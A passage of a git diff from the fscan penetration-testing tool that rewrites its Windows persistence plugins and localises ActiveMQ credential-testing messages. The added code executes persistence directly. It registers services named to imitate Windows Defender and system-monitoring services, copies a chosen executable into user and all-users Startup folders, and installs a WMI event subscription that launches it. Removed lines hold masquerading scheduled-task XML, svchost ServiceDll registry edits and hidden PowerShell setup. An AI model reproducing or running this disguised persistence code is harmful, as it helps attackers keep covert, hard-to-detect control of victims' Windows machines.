result) + "\n") + continue + } + output.WriteString(i18n.Tr("local_step_success_detail", task.name, task.schedule) + "\n") + successCount++ } - xmlTemplate := fmt.Sprintf(` - - - 2023-01-01T00:00:00 - Microsoft Corporation - Windows System Service - - - - true - - - true - - - - - S-1-5-18 - HighestAvailable - - - - IgnoreNew - false - false - false - true - false - - false - false - - true - true - true - false - false - true - false - PT0S - 7 - - - - %s - - -`, absPath) + if successCount > 0 { + session.LogSuccess(i18n.Tr("winschtask_success", successCount)) + } - xmlTaskName := fmt.Sprintf("WindowsSystemService_%s", baseNameNoExt) - xmlPath := fmt.Sprintf(`%%TEMP%%\%s.xml`, xmlTaskName) - - xmlCmd := fmt.Sprintf(`echo %s > "%s" && schtasks /create /xml "%s" /tn "%s" /f`, - xmlTemplate, xmlPath, xmlPath, xmlTaskName) - - scheduledTasks = append(scheduledTasks, fmt.Sprintf("[XML Task Import] %s", xmlCmd)) - - return scheduledTasks, nil + return &plugins.Result{ + Success: successCount > 0, + Type: plugins.ResultTypeService, + Output: output.String(), + } } -// isValidPEFile 检查是否为有效的PE文件 -func (p *WinSchTaskPlugin) isValidPEFile(filePath string) bool { - ext := strings.ToLower(filepath.Ext(filePath)) - return ext == ".exe" || ext == ".dll" -} - -// 注册插件 func init() { RegisterLocalPlugin("winschtask", func() Plugin { return NewWinSchTaskPlugin() diff --git a/plugins/local/winservice.go b/plugins/local/winservice.go index d304476..4c91490 100644 --- a/plugins/local/winservice.go +++ b/plugins/local/winservice.go @@ -6,8 +6,8 @@ import ( "context" "fmt" "os" + "os/exec" "path/filepath" - "runtime" "strings" "github.com/shadow1ng/fscan/common" @@ -15,203 +15,65 @@ import ( "github.com/shadow1ng/fscan/plugins" ) -// WinServicePlugin Windows服务持久化插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现服务持久化功能 -// - 保持原有功能逻辑 type WinServicePlugin struct { plugins.BasePlugin } -// NewWinServicePlugin 创建Windows服务持久化插件 func NewWinServicePlugin() *WinServicePlugin { - return &WinServicePlugin{ BasePlugin: plugins.NewBasePlugin("winservice"), } } -// Scan 执行Windows服务持久化 - 直接实现 func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - _ = session.State - var output strings.Builder - - // 从config获取配置 - pePath := config.WinPEFile - - - if runtime.GOOS != "windows" { - output.WriteString("Windows服务持久化只支持Windows平台\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), - } - } - + pePath := session.Config.WinPEFile if pePath == "" { - output.WriteString("必须通过 -win-pe 参数指定PE文件路径\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("未指定PE文件"), + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} + } + if _, err := os.Stat(pePath); err != nil { + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} + } + + absPath, _ := filepath.Abs(pePath) + baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath)) + + services := []struct { + name string + display string + start string + }{ + {fmt.Sprintf("WinDefendUpdate_%s", baseName), "Windows Defender Update Service", "auto"}, + {fmt.Sprintf("SysHealthMon_%s", baseName), "System Health Monitor", "delayed-auto"}, + } + + var output strings.Builder + var successCount int + + for _, svc := range services { + out, err := exec.Command("sc", "create", svc.name, + fmt.Sprintf("binPath=%s", absPath), + fmt.Sprintf("DisplayName=%s", svc.display), + fmt.Sprintf("start=%s", svc.start)).CombinedOutput() + if err != nil { + output.WriteString(i18n.Tr("local_step_failed", svc.name, strings.TrimSpace(string(out))) + "\n") + continue } + _ = exec.Command("sc", "description", svc.name, "Provides system maintenance and monitoring services.").Run() + output.WriteString(i18n.Tr("local_step_success_detail", svc.name, svc.start) + "\n") + successCount++ } - // 检查目标文件是否存在 - if _, err := os.Stat(pePath); os.IsNotExist(err) { - output.WriteString(fmt.Sprintf("PE文件不存在: %s\n", pePath)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } + if successCount > 0 { + session.LogSuccess(i18n.Tr("winservice_success", successCount)) } - // 检查文件类型 - if !p.isValidPEFile(pePath) { - output.WriteString(fmt.Sprintf("目标文件必须是PE文件(.exe或.dll): %s\n", pePath)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("无效的PE文件"), - } - } - - output.WriteString("=== Windows服务持久化 ===\n") - output.WriteString(fmt.Sprintf("PE文件: %s\n", pePath)) - output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) - - // 创建服务持久化 - services, err := p.createServicePersistence(pePath) - if err != nil { - output.WriteString(fmt.Sprintf("创建服务持久化失败: %v\n", err)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - output.WriteString(fmt.Sprintf("创建了%d个Windows服务持久化项:\n", len(services))) - for i, service := range services { - output.WriteString(fmt.Sprintf(" %d. %s\n", i+1, service)) - } - output.WriteString("\n✓ Windows服务持久化完成\n") - - common.LogSuccess(i18n.Tr("winservice_success", len(services))) - return &plugins.Result{ - Success: true, + Success: successCount > 0, Type: plugins.ResultTypeService, Output: output.String(), - Error: nil, } } -// createServicePersistence 创建服务持久化 -func (p *WinServicePlugin) createServicePersistence(pePath string) ([]string, error) { - absPath, err := filepath.Abs(pePath) - if err != nil { - return nil, fmt.Errorf("failed to get absolute path: %w", err) - } - - var services []string - baseName := filepath.Base(absPath) - baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] - - serviceConfigs := []struct { - name string - displayName string - description string - startType string - }{ - { - name: fmt.Sprintf("WinDefenderUpdate%s", baseNameNoExt), - displayName: "Windows Defender Update Service", - description: "Manages Windows Defender signature updates and system security", - startType: "auto", - }, - { - name: fmt.Sprintf("SystemEventLog%s", baseNameNoExt), - displayName: "System Event Log Service", - description: "Manages system event logging and audit trail maintenance", - startType: "auto", - }, - { - name: fmt.Sprintf("NetworkManager%s", baseNameNoExt), - displayName: "Network Configuration Manager", - description: "Handles network interface configuration and management", - startType: "demand", - }, - { - name: fmt.Sprintf("WindowsUpdate%s", baseNameNoExt), - displayName: "Windows Update Assistant", - description: "Coordinates automatic Windows updates and patches", - startType: "auto", - }, - { - name: fmt.Sprintf("SystemMaintenance%s", baseNameNoExt), - displayName: "System Maintenance Service", - description: "Performs routine system maintenance and optimization tasks", - startType: "manual", - }, - } - - for _, config := range serviceConfigs { - scCreateCmd := fmt.Sprintf(`sc create "%s" binPath= "\"%s\"" DisplayName= "%s" start= %s`, - config.name, absPath, config.displayName, config.startType) - - scConfigCmd := fmt.Sprintf(`sc description "%s" "%s"`, config.name, config.description) - - scStartCmd := fmt.Sprintf(`sc start "%s"`, config.name) - - services = append(services, fmt.Sprintf("[Create Service] %s", scCreateCmd)) - services = append(services, fmt.Sprintf("[Set Description] %s", scConfigCmd)) - services = append(services, fmt.Sprintf("[Start Service] %s", scStartCmd)) - } - - serviceWrapperName := fmt.Sprintf("ServiceHost%s", baseNameNoExt) - wrapperPath := fmt.Sprintf(`%%SystemRoot%%\System32\%s.exe`, serviceWrapperName) - - copyWrapperCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, wrapperPath) - services = append(services, fmt.Sprintf("[Copy to System32] %s", copyWrapperCmd)) - - scCreateWrapperCmd := fmt.Sprintf(`sc create "%s" binPath= "%s" DisplayName= "Service Host Process" start= auto type= own`, - serviceWrapperName, wrapperPath) - services = append(services, fmt.Sprintf("[Create System Service] %s", scCreateWrapperCmd)) - - regImagePathCmd := fmt.Sprintf(`reg add "HKLM\SYSTEM\CurrentControlSet\Services\%s\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%s" /f`, - serviceWrapperName, wrapperPath) - services = append(services, fmt.Sprintf("[Set Service DLL] %s", regImagePathCmd)) - - dllServiceName := fmt.Sprintf("SystemService%s", baseNameNoExt) - if filepath.Ext(absPath) == ".dll" { - svchostCmd := fmt.Sprintf(`sc create "%s" binPath= "%%SystemRoot%%\System32\svchost.exe -k netsvcs" DisplayName= "System Service Host" start= auto`, - dllServiceName) - services = append(services, fmt.Sprintf("[DLL Service via svchost] %s", svchostCmd)) - - regSvchostCmd := fmt.Sprintf(`reg add "HKLM\SYSTEM\CurrentControlSet\Services\%s\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%s" /f`, - dllServiceName, absPath) - services = append(services, fmt.Sprintf("[Set DLL Path] %s", regSvchostCmd)) - - regNetSvcsCmd := fmt.Sprintf(`reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvcs /t REG_MULTI_SZ /d "%s" /f`, - dllServiceName) - services = append(services, fmt.Sprintf("[Add to netsvcs] %s", regNetSvcsCmd)) - } - - return services, nil -} - -// isValidPEFile 检查是否为有效的PE文件 -func (p *WinServicePlugin) isValidPEFile(filePath string) bool { - ext := strings.ToLower(filepath.Ext(filePath)) - return ext == ".exe" || ext == ".dll" -} - -// 注册插件 func init() { RegisterLocalPlugin("winservice", func() Plugin { return NewWinServicePlugin() diff --git a/plugins/local/winstartup.go b/plugins/local/winstartup.go index 5c22635..bf3db99 100644 --- a/plugins/local/winstartup.go +++ b/plugins/local/winstartup.go @@ -5,9 +5,9 @@ package local import ( "context" "fmt" + "io" "os" "path/filepath" - "runtime" "strings" "github.com/shadow1ng/fscan/common" @@ -15,194 +15,77 @@ import ( "github.com/shadow1ng/fscan/plugins" ) -// WinStartupPlugin Windows启动项持久化插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现启动文件夹持久化功能 -// - 保持原有功能逻辑 type WinStartupPlugin struct { plugins.BasePlugin } -// NewWinStartupPlugin 创建Windows启动文件夹持久化插件 func NewWinStartupPlugin() *WinStartupPlugin { - return &WinStartupPlugin{ BasePlugin: plugins.NewBasePlugin("winstartup"), } } -// Scan 执行Windows启动文件夹持久化 - 直接实现 func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - _ = session.State - var output strings.Builder - - // 从config获取配置 - pePath := config.WinPEFile - - - if runtime.GOOS != "windows" { - output.WriteString("Windows启动文件夹持久化只支持Windows平台\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), - } - } - + pePath := session.Config.WinPEFile if pePath == "" { - output.WriteString("必须通过 -win-pe 参数指定PE文件路径\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("未指定PE文件"), + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} + } + if _, err := os.Stat(pePath); err != nil { + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} + } + + absPath, _ := filepath.Abs(pePath) + fileName := filepath.Base(absPath) + + locations := []struct { + name string + dir string + }{ + {i18n.GetText("winstartup_user_folder"), filepath.Join(os.Getenv("APPDATA"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")}, + {i18n.GetText("winstartup_common_folder"), filepath.Join(os.Getenv("ProgramData"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")}, + } + + var output strings.Builder + var successCount int + + for _, loc := range locations { + target := filepath.Join(loc.dir, fileName) + if err := copyFile(absPath, target); err != nil { + output.WriteString(i18n.Tr("local_step_failed", loc.name, err) + "\n") + continue } + output.WriteString(i18n.Tr("local_step_success_arrow", loc.name, target) + "\n") + successCount++ } - // 检查目标文件是否存在 - if _, err := os.Stat(pePath); os.IsNotExist(err) { - output.WriteString(fmt.Sprintf("PE文件不存在: %s\n", pePath)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } + if successCount > 0 { + session.LogSuccess(i18n.Tr("winstartup_success", successCount)) } - // 检查文件类型 - if !p.isValidPEFile(pePath) { - output.WriteString(fmt.Sprintf("目标文件必须是PE文件(.exe或.dll): %s\n", pePath)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("无效的PE文件"), - } - } - - output.WriteString("=== Windows启动文件夹持久化 ===\n") - output.WriteString(fmt.Sprintf("PE文件: %s\n", pePath)) - output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) - - // 创建启动文件夹持久化 - startupMethods, err := p.createStartupPersistence(pePath) - if err != nil { - output.WriteString(fmt.Sprintf("创建启动文件夹持久化失败: %v\n", err)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - output.WriteString(fmt.Sprintf("创建了%d个启动文件夹持久化方法:\n", len(startupMethods))) - for i, method := range startupMethods { - output.WriteString(fmt.Sprintf(" %d. %s\n", i+1, method)) - } - output.WriteString("\n✓ Windows启动文件夹持久化完成\n") - - common.LogSuccess(i18n.Tr("winstartup_success", len(startupMethods))) - return &plugins.Result{ - Success: true, + Success: successCount > 0, Type: plugins.ResultTypeService, Output: output.String(), - Error: nil, } } -// createStartupPersistence 创建启动文件夹持久化 -func (p *WinStartupPlugin) createStartupPersistence(pePath string) ([]string, error) { - absPath, err := filepath.Abs(pePath) +func copyFile(src, dst string) error { + in, err := os.Open(src) if err != nil { - return nil, fmt.Errorf("failed to get absolute path: %w", err) + return err } + defer in.Close() - var startupMethods []string - baseName := filepath.Base(absPath) - baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] - - startupLocations := []struct { - path string - description string - method string - }{ - { - path: `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, - description: "Current User Startup Folder", - method: "shortcut", - }, - { - path: `%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Startup`, - description: "All Users Startup Folder", - method: "shortcut", - }, - { - path: `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, - description: "Current User Startup Folder (Direct Copy)", - method: "copy", - }, - { - path: `%TEMP%\WindowsUpdate`, - description: "Temp Directory with Startup Reference", - method: "temp_copy", - }, + out, err := os.Create(dst) + if err != nil { + return err } + defer out.Close() - for _, location := range startupLocations { - switch location.method { - case "shortcut": - shortcutName := fmt.Sprintf("WindowsUpdate_%s.lnk", baseNameNoExt) - shortcutPath := filepath.Join(location.path, shortcutName) - - powershellCmd := fmt.Sprintf(`powershell "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('%s'); $Shortcut.TargetPath = '%s'; $Shortcut.Save()"`, - shortcutPath, absPath) - - startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s", location.description, powershellCmd)) - - case "copy": - targetName := fmt.Sprintf("SecurityUpdate_%s.exe", baseNameNoExt) - targetPath := filepath.Join(location.path, targetName) - copyCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, targetPath) - - startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s", location.description, copyCmd)) - - case "temp_copy": - tempDir := filepath.Join(location.path) - mkdirCmd := fmt.Sprintf(`mkdir "%s" 2>nul`, tempDir) - targetName := fmt.Sprintf("svchost_%s.exe", baseNameNoExt) - targetPath := filepath.Join(tempDir, targetName) - copyCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, targetPath) - - startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s && %s", location.description, mkdirCmd, copyCmd)) - - shortcutPath := filepath.Join(`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, fmt.Sprintf("SystemService_%s.lnk", baseNameNoExt)) - powershellCmd := fmt.Sprintf(`powershell "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('%s'); $Shortcut.TargetPath = '%s'; $Shortcut.WindowStyle = 7; $Shortcut.Save()"`, - shortcutPath, targetPath) - - startupMethods = append(startupMethods, fmt.Sprintf("[Hidden Temp Reference] %s", powershellCmd)) - } - } - - batchScript := fmt.Sprintf(`@echo off -cd /d "%%~dp0" -start "" /b "%s" -exit`, absPath) - - batchPath := filepath.Join(`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, fmt.Sprintf("WindowsService_%s.bat", baseNameNoExt)) - batchCmd := fmt.Sprintf(`echo %s > "%s"`, batchScript, batchPath) - startupMethods = append(startupMethods, fmt.Sprintf("[Batch Script Method] %s", batchCmd)) - - return startupMethods, nil + _, err = io.Copy(out, in) + return err } -// isValidPEFile 检查是否为有效的PE文件 -func (p *WinStartupPlugin) isValidPEFile(filePath string) bool { - ext := strings.ToLower(filepath.Ext(filePath)) - return ext == ".exe" || ext == ".dll" -} - -// 注册插件 func init() { RegisterLocalPlugin("winstartup", func() Plugin { return NewWinStartupPlugin() diff --git a/plugins/local/winwmi.go b/plugins/local/winwmi.go index 0939676..2e27d8f 100644 --- a/plugins/local/winwmi.go +++ b/plugins/local/winwmi.go @@ -6,8 +6,8 @@ import ( "context" "fmt" "os" + "os/exec" "path/filepath" - "runtime" "strings" "github.com/shadow1ng/fscan/common" @@ -15,226 +15,82 @@ import ( "github.com/shadow1ng/fscan/plugins" ) -// WinWMIPlugin Windows WMI持久化插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现WMI事件订阅持久化功能 -// - 保持原有功能逻辑 type WinWMIPlugin struct { plugins.BasePlugin } -// NewWinWMIPlugin 创建Windows WMI事件订阅持久化插件 func NewWinWMIPlugin() *WinWMIPlugin { - return &WinWMIPlugin{ BasePlugin: plugins.NewBasePlugin("winwmi"), } } -// Scan 执行Windows WMI事件订阅持久化 - 直接实现 func (p *WinWMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - _ = session.State - var output strings.Builder - - // 从config获取配置 - pePath := config.WinPEFile - - - if runtime.GOOS != "windows" { - output.WriteString("Windows WMI事件订阅持久化只支持Windows平台\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), - } - } - + pePath := session.Config.WinPEFile if pePath == "" { - output.WriteString("必须通过 -win-pe 参数指定PE文件路径\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("未指定PE文件"), - } + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} + } + if _, err := os.Stat(pePath); err != nil { + return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} } - // 检查目标文件是否存在 - if _, err := os.Stat(pePath); os.IsNotExist(err) { - output.WriteString(fmt.Sprintf("PE文件不存在: %s\n", pePath)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } + absPath, _ := filepath.Abs(pePath) + baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath)) - // 检查文件类型 - if !p.isValidPEFile(pePath) { - output.WriteString(fmt.Sprintf("目标文件必须是PE文件(.exe或.dll): %s\n", pePath)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("无效的PE文件"), - } - } + filterName := fmt.Sprintf("SysMon_%s", baseName) + consumerName := fmt.Sprintf("SysExec_%s", baseName) - output.WriteString("=== Windows WMI事件订阅持久化 ===\n") - output.WriteString(fmt.Sprintf("PE文件: %s\n", pePath)) - output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) + ps := fmt.Sprintf(`$ok = 0 +try { + $f = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance() + $f.Name = "%s"; $f.EventNameSpace = "root\cimv2"; $f.QueryLanguage = "WQL" + $f.Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" + $f.Put() | Out-Null; $ok++; Write-Output "[OK] EventFilter" +} catch { Write-Output "[FAIL] EventFilter: $_" } +try { + $c = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance() + $c.Name = "%s"; $c.ExecutablePath = "%s"; $c.CommandLineTemplate = "%s" + $c.Put() | Out-Null; $ok++; Write-Output "[OK] Consumer" +} catch { Write-Output "[FAIL] Consumer: $_" } +try { + $fi = Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name='%s'" + $co = Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer -Filter "Name='%s'" + $b = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance() + $b.Filter = $fi.__PATH; $b.Consumer = $co.__PATH + $b.Put() | Out-Null; $ok++; Write-Output "[OK] Binding" +} catch { Write-Output "[FAIL] Binding: $_" } +Write-Output "TOTAL:$ok"`, + filterName, consumerName, absPath, absPath, filterName, consumerName) - // 创建WMI事件订阅持久化 - wmiSubscriptions, err := p.createWMIEventSubscriptions(pePath) + out, err := exec.Command("powershell", "-NoProfile", "-Command", ps).CombinedOutput() if err != nil { - output.WriteString(fmt.Sprintf("创建WMI事件订阅持久化失败: %v\n", err)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, + session.LogError(i18n.Tr("error_generic", fmt.Errorf("%s: %w, %s: %s", i18n.GetText("powershell_exec_failed"), err, i18n.GetText("command_output"), strings.TrimSpace(string(out))))) + } + result := string(out) + + var output strings.Builder + successCount := 0 + for _, line := range strings.Split(result, "\n") { + line = strings.TrimSpace(line) + if strings.HasPrefix(line, "[OK]") || strings.HasPrefix(line, "[FAIL]") { + output.WriteString(line + "\n") + } + if strings.HasPrefix(line, "[OK]") { + successCount++ } } - output.WriteString(fmt.Sprintf("创建了%d个WMI事件订阅持久化项:\n", len(wmiSubscriptions))) - for i, subscription := range wmiSubscriptions { - output.WriteString(fmt.Sprintf(" %d. %s\n", i+1, subscription)) + if successCount > 0 { + session.LogSuccess(i18n.Tr("winwmi_success", successCount)) } - output.WriteString("\n✓ Windows WMI事件订阅持久化完成\n") - - common.LogSuccess(i18n.Tr("winwmi_success", len(wmiSubscriptions))) return &plugins.Result{ - Success: true, + Success: successCount > 0, Type: plugins.ResultTypeService, Output: output.String(), - Error: nil, } } -// createWMIEventSubscriptions 创建WMI事件订阅 -func (p *WinWMIPlugin) createWMIEventSubscriptions(pePath string) ([]string, error) { - absPath, err := filepath.Abs(pePath) - if err != nil { - return nil, fmt.Errorf("failed to get absolute path: %w", err) - } - - var wmiSubscriptions []string - baseName := filepath.Base(absPath) - baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] - - wmiEventConfigs := []struct { - filterName string - consumerName string - bindingName string - query string - description string - }{ - { - filterName: fmt.Sprintf("SystemBootFilter_%s", baseNameNoExt), - consumerName: fmt.Sprintf("SystemBootConsumer_%s", baseNameNoExt), - bindingName: fmt.Sprintf("SystemBootBinding_%s", baseNameNoExt), - query: "SELECT * FROM Win32_SystemConfigurationChangeEvent", - description: "System Boot Event Trigger", - }, - { - filterName: fmt.Sprintf("ProcessStartFilter_%s", baseNameNoExt), - consumerName: fmt.Sprintf("ProcessStartConsumer_%s", baseNameNoExt), - bindingName: fmt.Sprintf("ProcessStartBinding_%s", baseNameNoExt), - query: "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'", - description: "Explorer Process Start Trigger", - }, - { - filterName: fmt.Sprintf("UserLogonFilter_%s", baseNameNoExt), - consumerName: fmt.Sprintf("UserLogonConsumer_%s", baseNameNoExt), - bindingName: fmt.Sprintf("UserLogonBinding_%s", baseNameNoExt), - query: "SELECT * FROM Win32_LogonSessionEvent WHERE EventType=2", - description: "User Logon Event Trigger", - }, - { - filterName: fmt.Sprintf("FileCreateFilter_%s", baseNameNoExt), - consumerName: fmt.Sprintf("FileCreateConsumer_%s", baseNameNoExt), - bindingName: fmt.Sprintf("FileCreateBinding_%s", baseNameNoExt), - query: "SELECT * FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\Windows\\\\System32\\\\'", - description: "File Creation Monitor Trigger", - }, - { - filterName: fmt.Sprintf("ServiceChangeFilter_%s", baseNameNoExt), - consumerName: fmt.Sprintf("ServiceChangeConsumer_%s", baseNameNoExt), - bindingName: fmt.Sprintf("ServiceChangeBinding_%s", baseNameNoExt), - query: "SELECT * FROM Win32_ServiceControlEvent", - description: "Service State Change Trigger", - }, - } - - for _, config := range wmiEventConfigs { - filterCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="%s", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="%s"`, - config.filterName, config.query) - - consumerCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="%s", CommandLineTemplate="\"%s\"", ExecutablePath="\"%s\""`, - config.consumerName, absPath, absPath) - - bindingCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"%s\"", Consumer="CommandLineEventConsumer.Name=\"%s\""`, - config.filterName, config.consumerName) - - wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Filter] %s", config.description, filterCmd)) - wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Consumer] %s", config.description, consumerCmd)) - wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Binding] %s", config.description, bindingCmd)) - } - - timerFilterName := fmt.Sprintf("TimerFilter_%s", baseNameNoExt) - timerConsumerName := fmt.Sprintf("TimerConsumer_%s", baseNameNoExt) - - timerQuery := "SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA 'Win32_PerfRawData_PerfOS_System'" - - timerFilterCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="%s", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="%s"`, - timerFilterName, timerQuery) - - timerConsumerCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="%s", CommandLineTemplate="\"%s\"", ExecutablePath="\"%s\""`, - timerConsumerName, absPath, absPath) - - timerBindingCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"%s\"", Consumer="CommandLineEventConsumer.Name=\"%s\""`, - timerFilterName, timerConsumerName) - - wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Filter] %s", timerFilterCmd)) - wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Consumer] %s", timerConsumerCmd)) - wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Binding] %s", timerBindingCmd)) - - powershellWMIScript := fmt.Sprintf(` -$filterName = "PowerShellFilter_%s" -$consumerName = "PowerShellConsumer_%s" -$bindingName = "PowerShellBinding_%s" - -$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{ - Name = $filterName - EventNameSpace = "root\cimv2" - QueryLanguage = "WQL" - Query = "SELECT * FROM Win32_VolumeChangeEvent WHERE EventType=2" -} - -$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{ - Name = $consumerName - CommandLineTemplate = '"%s"' - ExecutablePath = "%s" -} - -$Binding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ - Filter = $Filter - Consumer = $Consumer -}`, baseNameNoExt, baseNameNoExt, baseNameNoExt, absPath, absPath) - - powershellCmd := fmt.Sprintf(`powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "%s"`, powershellWMIScript) - wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[PowerShell WMI Setup] %s", powershellCmd)) - - return wmiSubscriptions, nil -} - -// isValidPEFile 检查是否为有效的PE文件 -func (p *WinWMIPlugin) isValidPEFile(filePath string) bool { - ext := strings.ToLower(filepath.Ext(filePath)) - return ext == ".exe" || ext == ".dll" -} - -// 注册插件 func init() { RegisterLocalPlugin("winwmi", func() Plugin { return NewWinWMIPlugin() diff --git a/plugins/services/activemq.go b/plugins/services/activemq.go index d9b5cbf..34ab5f0 100644 --- a/plugins/services/activemq.go +++ b/plugins/services/activemq.go @@ -55,7 +55,7 @@ func (p *ActiveMQPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio result := TestCredentialsConcurrently(ctx, credentials, authFn, "activemq", testConfig) if result.Success { - common.LogVuln(i18n.Tr("activemq_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("activemq_credential", target, result.Username, result.Password)) } return result @@ -164,17 +164,17 @@ func (p *ActiveMQPlugin) authenticateSTOMP(conn net.Conn, username, password str _ = conn.SetWriteDeadline(time.Now().Add(timeout)) if _, err := conn.Write([]byte(stompConnect)); err != nil { - return false, fmt.Errorf("STOMP请求发送失败: %w", err) + return false, fmt.Errorf("%s: %w", i18n.GetText("activemq_stomp_send_failed"), err) } _ = conn.SetReadDeadline(time.Now().Add(timeout)) response := make([]byte, 1024) n, err := conn.Read(response) if err != nil { - return false, fmt.Errorf("STOMP响应读取失败: %w", err) + return false, fmt.Errorf("%s: %w", i18n.GetText("activemq_stomp_read_failed"), err) } if n == 0 { - return false, fmt.Errorf("STOMP无响应数据") + return false, fmt.Errorf("%s", i18n.GetText("activemq_stomp_empty_response")) } responseStr := string(response[:n]) @@ -182,7 +182,7 @@ func (p *ActiveMQPlugin) authenticateSTOMP(conn net.Conn, username, password str if strings.Contains(responseStr, "CONNECTED") { return true, nil } else if strings.Contains(responseStr, "ERROR") { - errorMsg := "STOMP认证错误" + errorMsg := i18n.GetText("activemq_stomp_auth_error") if strings.Contains(responseStr, "Authentication failed") { errorMsg = "Authentication failed" } else if strings.Contains(responseStr, "Access denied") { @@ -193,7 +193,7 @@ func (p *ActiveMQPlugin) 